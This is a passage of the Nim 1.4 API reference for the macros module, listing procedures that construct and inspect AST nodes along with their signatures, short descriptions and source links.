NimNode {...}{.compileTime, noSideEffect, raises: [], tags: [].} ``` Creates a string literal node from `s`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L428) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L428) ``` proc newCommentStmtNode(s: string): NimNode {...}{.compileTime, noSideEffect, raises: [], tags: [].} ``` Creates a comment statement node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L433) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L433) ``` proc newIntLitNode(i: BiggestInt): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Creates an int literal node from `i`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L438) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L438) ``` proc newFloatLitNode(f: BiggestFloat): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Creates a float literal node from `f`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L443) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L443) ``` proc newIdentNode(i: NimIdent): NimNode {...}{.compileTime, deprecated, raises: [], tags: [].} ``` **Deprecated** Creates an identifier node from `i`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L450) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L450) ``` proc newIdentNode(i: string): NimNode {...}{.magic: "StrToIdent", noSideEffect.} ``` Creates an identifier node from `i`. It is simply an alias for `ident(string)`. Use that, it's shorter. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L457) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L457) ``` proc ident(name: string): NimNode {...}{.magic: "StrToIdent", noSideEffect.} ``` Create a new ident node from a string. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L461) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L461) ``` proc bindSym(ident: string | NimNode; rule: BindSymRule = brClosed): NimNode {...}{. magic: "NBindSym", noSideEffect.} ``` Creates a node that binds `ident` to a symbol node. The bound symbol may be an overloaded symbol. if `ident` is a NimNode, it must have `nnkIdent` kind. If `rule == brClosed` either an `nnkClosedSymChoice` tree is returned or `nnkSym` if the symbol is not ambiguous. If `rule == brOpen` either an `nnkOpenSymChoice` tree is returned or `nnkSym` if the symbol is not ambiguous. If `rule == brForceOpen` always an `nnkOpenSymChoice` tree is returned even if the symbol is not ambiguous. Experimental feature: use {.experimental: "dynamicBindSym".} to activate it. If called from template / regular code, `ident` and `rule` must be constant expression / literal value. If called from macros / compile time procs / static blocks, `ident` and `rule` can be VM computed value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L474) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L474) ``` proc genSym(kind: NimSymKind = nskLet; ident = ""): NimNode {...}{.magic: "NGenSym", noSideEffect.} ``` Generates a fresh symbol that is guaranteed to be unique. The symbol needs to occur in a declaration context. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L493) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L493) ``` proc callsite(): NimNode {...}{.magic: "NCallSite", gcsafe, locks: 0, deprecated: "Deprecated since v0.18.1; use varargs[untyped] in the macro prototype instead".} ``` **Deprecated:** Deprecated since v0.18.1; use varargs[untyped] in the macro prototype instead Returns the AST of the invocation expression that invoked this macro. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L498) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L498) ``` proc toStrLit(n: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Converts the AST `n` to the concrete Nim code and wraps that in a string literal node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L502) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L502) ``` proc `$`(arg: LineInfo): string {...}{.raises: [], tags: [].} ``` Return a string representation in the form `filepath(line, column)`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L512) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L512) ``` proc copyLineInfo(arg: NimNode; info: NimNode) {...}{.magic: "NLineInfo", noSideEffect.} ``` Copy lineinfo from `info`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L525) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L525) ``` proc lineInfoObj(n: NimNode): LineInfo {...}{.compileTime, raises: [], tags: [].} ``` Returns `LineInfo` of `n`, using absolute path for `filename`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L528) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L528) ``` proc lineInfo(arg: NimNode): string {...}{.compileTime, raises: [], tags: [].} ``` Return line info in the form `filepath(line, column)`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L532) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L532) ``` proc internalErrorFlag(): string {...}{.magic: "NError", noSideEffect.} ``` Some builtins set an error flag. This is then turned into a proper exception. **Note**: Ordinary application code should not call this. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L542) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L542) ``` proc parseExpr(s: string): NimNode {...}{.noSideEffect, compileTime, raises: [ValueError], tags: [].} ``` Compiles the passed string to its AST representation. Expects a single expression. Raises `ValueError` for parsing errors. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L546) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L546) ``` proc parseStmt(s: string): NimNode {...}{.noSideEffect, compileTime, raises: [ValueError], tags: [].} ``` Compiles the passed string to its AST representation. Expects one or more statements. Raises `ValueError` for parsing errors. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L553) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L553) ``` proc getAst(macroOrTemplate: untyped): NimNode {...}{.magic: "ExpandToAst", noSideEffect.} ``` Obtains the AST nodes returned from a macro or template invocation. Example: ``` macro FooMacro() = var ast = getAst(BarTemplate()) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L560) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L560) ``` proc quote(bl: typed; op = "``"): NimNode {...}{.magic: "QuoteAst", noSideEffect.} ``` Quasi-quoting operator. Accepts an expression or a block and returns the AST that represents it. Within the quoted AST, you are able to interpolate NimNode expressions from the surrounding scope. If no operator is given, quoting is done using backticks. Otherwise, the given operator must be used as a prefix operator for any interpolated expression. Example: ``` macro check(ex: untyped) = # this is a simplified version of the check macro from the # unittest module. # If there is a failed check, we want to make it easy for # the user to jump to the faulty line in the code, so we # get the line info here: var info = ex.lineinfo # We will also display the code string of the failed check: var expString = ex.toStrLit # Finally we compose the code to implement the check: result = quote do: if not `ex`: echo `info` & ": Check failed: " & `expString` ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L569) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L569) ``` proc expectKind(n: NimNode; k: NimNodeKind) {...}{.compileTime, raises: [], tags: [].} ``` Checks that `n` is of kind `k`. If this is not the case, compilation aborts with an error message. This is useful for writing macros that check the AST that is passed to them. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L598) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L598) ``` proc expectMinLen(n: NimNode; min: int) {...}{.compileTime, raises: [], tags: [].} ``` Checks that `n` has at least `min` children. If this is not the case, compilation aborts with an error message. This is useful for writing macros that check its number of arguments. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L604) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L604) ``` proc expectLen(n: NimNode; len: int) {...}{.compileTime, raises: [], tags: [].} ``` Checks that `n` has exactly `len` children. If this is not the case, compilation aborts with an error message. This is useful for writing macros that check its number of arguments. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L610) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L610) ``` proc expectLen(n: NimNode; min, max: int) {...}{.compileTime, raises: [], tags: [].} ``` Checks that `n` has a number of children in the range `min..max`. If this is not the case, compilation aborts with an error message. This is useful for writing macros that check its number of arguments. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L616) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L616) ``` proc newTree(kind: NimNodeKind; children: varargs[NimNode]): NimNode {...}{. compileTime, raises: [], tags: [].} ``` Produces a new node with children. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L623) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L623) ``` proc newCall(theProc: NimNode; args: varargs[NimNode]): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Produces a new call node. `theProc` is the proc that is called with the arguments `args[0..]`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L629) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L629) ``` proc newCall(theProc: NimIdent; args: varargs[NimNode]): NimNode {...}{.compileTime, deprecated: "Deprecated since v0.18.1; use \'newCall(string, ...)\' or \'newCall(NimNode, ...)\' instead", raises: [], tags: [].} ``` **Deprecated:** Deprecated since v0.18.1; use 'newCall(string, ...)' or 'newCall(NimNode, ...)' instead Produces a new call node. `theProc` is the proc that is called with the arguments `args[0..]`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L639) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L639) ``` proc newCall(theProc: string; args: varargs[NimNode]): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Produces a new call node. `theProc` is the proc that is called with the arguments `args[0..]`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L649) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L649) ``` proc newLit(c: char): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Produces a new character literal node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L657) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L657) ``` proc newLit(i: int): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Produces a new integer literal node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L662) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L662) ``` proc newLit(i: int8): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Produces a new integer literal node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L667) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L667) ``` proc newLit(i: int16): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Produces a new integer literal node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L672) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L672) ``` proc newLit(i: int32): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Produces a new integer literal node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L677) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L677) ``` proc newLit(i: int64): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Produces a new integer literal node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L682) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L682) ``` proc newLit(i: uint): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Produces a new unsigned integer literal node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L687) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L687) ``` proc newLit(i: uint8): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Produces a new unsigned integer literal node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L692) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L692) ``` proc newLit(i: uint16): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Produces a new unsigned integer literal node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L697) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L697) ``` proc newLit(i: uint32): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Produces a new unsigned integer literal node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L702) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L702) ``` proc newLit(i: uint64): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Produces a new unsigned integer literal node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L707) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L707) ``` proc newLit(b: bool): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Produces a new boolean literal node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L712) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L712) ``` proc newLit(s: string): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Produces a new string literal node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L716) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L716) ``` proc newLit(f: float32): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Produces a new float literal node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L728) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L728) ``` proc newLit(f: float64): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Produces a new float literal node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L733) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L733) ``` proc newLit(arg: enum): NimNode {...}{.compileTime.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L744) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L744) ``` proc newLit(arg: object): NimNode {...}{.compileTime.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L755) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L755) ``` proc newLit(arg: ref object): NimNode {...}{.compileTime.} ``` produces a new ref type literal node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L760) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L760) ``` proc newLit[N, T](arg: array[N, T]): NimNode {...}{.compileTime.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L766) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L766) ``` proc newLit[T](arg: seq[T]): NimNode {...}{.compileTime.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L771) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L771) ``` proc newLit[T](s: set[T]): NimNode {...}{.compileTime.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L784) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L784) ``` proc newLit[T: tuple](arg: T): NimNode {...}{.compileTime.} ``` use -d:nimHasWorkaround14720 to restore behavior prior to PR, forcing a named tuple even when `arg` is unnamed. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L796) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L796) ``` proc nestList(op: NimNode; pack: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Nests the list `pack` into a tree of call expressions: `[a, b, c]` is transformed into `op(a, op(c, d))`. This is also known as fold expression. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L807) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L807) ``` proc nestList(op: NimNode; pack: NimNode; init: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Nests the list `pack` into a tree of call expressions: `[a, b, c]` is transformed into `op(a, op(c, d))`. This is also known as fold expression. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L817) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L817) ``` proc treeRepr(n: NimNode): string {...}{.compileTime, gcsafe, locks: 0, raises: [], tags: [].} ``` Convert the AST `n` to a human-readable tree-like string. See also `repr`, `lispRepr`, and `astGenRepr`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L859) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L859) ``` proc lispRepr(n: NimNode; indented = false): string {...}{.compileTime, gcsafe, locks: 0, raises: [], tags: [].} ``` Convert the AST `n` to a human-readable lisp-like string. See also `repr`, `treeRepr`, and `astGenRepr`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L866) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L866) ``` proc astGenRepr(n: NimNode): string {...}{.compileTime, gcsafe, locks: 0, raises: [], tags: [].} ``` Convert the AST `n` to the code required to generate that AST. See also `repr`, `treeRepr`, and `lispRepr`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L873) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L873) ``` proc newEmptyNode(): NimNode {...}{.compileTime, noSideEffect, raises: [], tags: [].} ``` Create a new empty node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L992) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L992) ``` proc newStmtList(stmts: varargs[NimNode]): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Create a new statement list. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L996) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L996) ``` proc newPar(exprs: varargs[NimNode]): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Create a new parentheses-enclosed expression. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1000) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1000) ``` proc newBlockStmt(label, body: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Create a new block statement with label. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1004) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1004) ``` proc newBlockStmt(body: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Create a new block: stmt. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1008) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1008) ``` proc newVarStmt(name, value: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Create a new var stmt. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1012) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1012) ``` proc newLetStmt(name, value: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Create a new let stmt. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1017) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1017) ``` proc newConstStmt(name, value: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Create a new const stmt. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1022) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1022) ``` proc newAssignment(lhs, rhs: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1027) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1027) ``` proc newDotExpr(a, b: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Create new dot expression. a.dot(b) -> `a.b` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1030) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1030) ``` proc newColonExpr(a, b: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Create new colon expression. newColonExpr(a, b) -> `a: b` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1035) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1035) ``` proc newIdentDefs(name, kind: NimNode; default = newEmptyNode()): NimNode {...}{. compileTime, raises: [], tags: [].} ``` Creates a new `nnkIdentDefs` node of a specific kind and value. `nnkIdentDefs` need to have at least three children, but they can have more: first comes a list of identifiers followed by a type and value nodes. This helper proc creates a three node subtree, the first subnode being a single identifier name. Both the `kind` node and `default` (value) nodes may be empty depending on where the `nnkIdentDefs` appears: tuple or object definitions will have an empty `default` node, `let` or `var` blocks may have an empty `kind` node if the identifier is being assigned a value. Example: ``` var varSection = newNimNode(nnkVarSection).add( newIdentDefs(ident("a"), ident("string")), newIdentDefs(ident("b"), newEmptyNode(), newLit(3))) # --> var # a: string # b = 3 ``` If you need to create multiple identifiers you need to use the lower level `newNimNode`: ``` result = newNimNode(nnkIdentDefs).add( ident("a"), ident("b"), ident("c"), ident("string"), newStrLitNode("Hello")) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1040) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1040) ``` proc newNilLit(): NimNode {...}{.compileTime, raises: [], tags: [].} ``` New nil literal shortcut. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1072) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1072) ``` proc last(node: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Return the last item in nodes children. Same as `node[^1]`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1076) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1076) ``` proc expectKind(n: NimNode; k: set[NimNodeKind]) {...}{.compileTime, raises: [], tags: [].} ``` Checks that `n` is of kind `k`. If this is not the case, compilation aborts with an error message. This is useful for writing macros that check the AST that is passed to them. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1087) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1087) ``` proc newProc(name = newEmptyNode(); params: openArray[NimNode] = [newEmptyNode()]; body: NimNode = newStmtList(); procType = nnkProcDef; pragmas: NimNode = newEmptyNode()): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Shortcut for creating a new proc. The `params` array must start with the return type of the proc, followed by a list of IdentDefs which specify the params. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1093) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1093) ``` proc newIfStmt(branches: varargs[tuple[cond, body: NimNode]]): NimNode {...}{. compileTime, raises: [], tags: [].} ``` Constructor for `if` statements. ``` newIfStmt( (Ident, StmtList), ... ) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1114) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1114) ``` proc newEnum(name: NimNode; fields: openArray[NimNode]; public, pure: bool): NimNode {...}{. compileTime, raises: [], tags: [].} ``` Creates a new enum. `name` must be an ident. Fields are allowed to be either idents or EnumFieldDef ``` newEnum( name = ident("Colors"), fields = [ident("Blue"), ident("Red")], public = true, pure = false) # type Colors* = Blue Red ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1131) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1131) ``` proc copyChildrenTo(src, dest: NimNode) {...}{.compileTime, raises: [], tags: [].} ``` Copy all children from `src` to `dest`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1175) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1175) ``` proc name(someProc: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1183) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1183) ``` proc name=(someProc: NimNode; val: NimNode) {...}{.compileTime, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1194) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1194) ``` proc params(someProc: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1200) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1200) ``` proc params=(someProc: NimNode; params: NimNode) {...}{.compileTime, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1203) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1203) ``` proc pragma(someProc: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` Get the pragma of a proc type. These will be expanded. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1208) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1208) ``` proc pragma=(someProc: NimNode; val: NimNode) {...}{.compileTime, raises: [], tags: [].} ``` Set the pragma of a proc type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1216) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1216) ``` proc addPragma(someProc, pragma: NimNode) {...}{.compileTime, raises: [], tags: [].} ``` Adds pragma to routine definition. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1225) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1225) ``` proc body(someProc: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1237) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1237) ``` proc body=(someProc: NimNode; val: NimNode) {...}{.compileTime, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1248) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1248) ``` proc basename(a: NimNode): NimNode {...}{.raises: [], tags: [].} ``` Pull an identifier from prefix/postfix expressions. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1259) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1259) ``` proc `$`(node: NimNode): string {...}{.compileTime, raises: [], tags: [].} ``` Get the string of an identifier node. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1269) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1269) ``` proc insert(a: NimNode; pos: int; b: NimNode) {...}{.compileTime, raises: [], tags: [].} ``` Insert node `b` into node `a` at `pos`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1312) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1312) ``` proc basename=(a: NimNode; val: string) {...}{.compileTime, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1327) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1327) ``` proc postfix(node: NimNode; op: string): NimNode {...}{.compileTime, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1338) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1338) ``` proc prefix(node: NimNode; op: string): NimNode {...}{.compileTime, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1341) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1341) ``` proc infix(a: NimNode; op: string; b: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1344) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1344) ``` proc unpackPostfix(node: NimNode): tuple[node: NimNode, op: string] {...}{. compileTime, raises: [], tags: [].} ``` 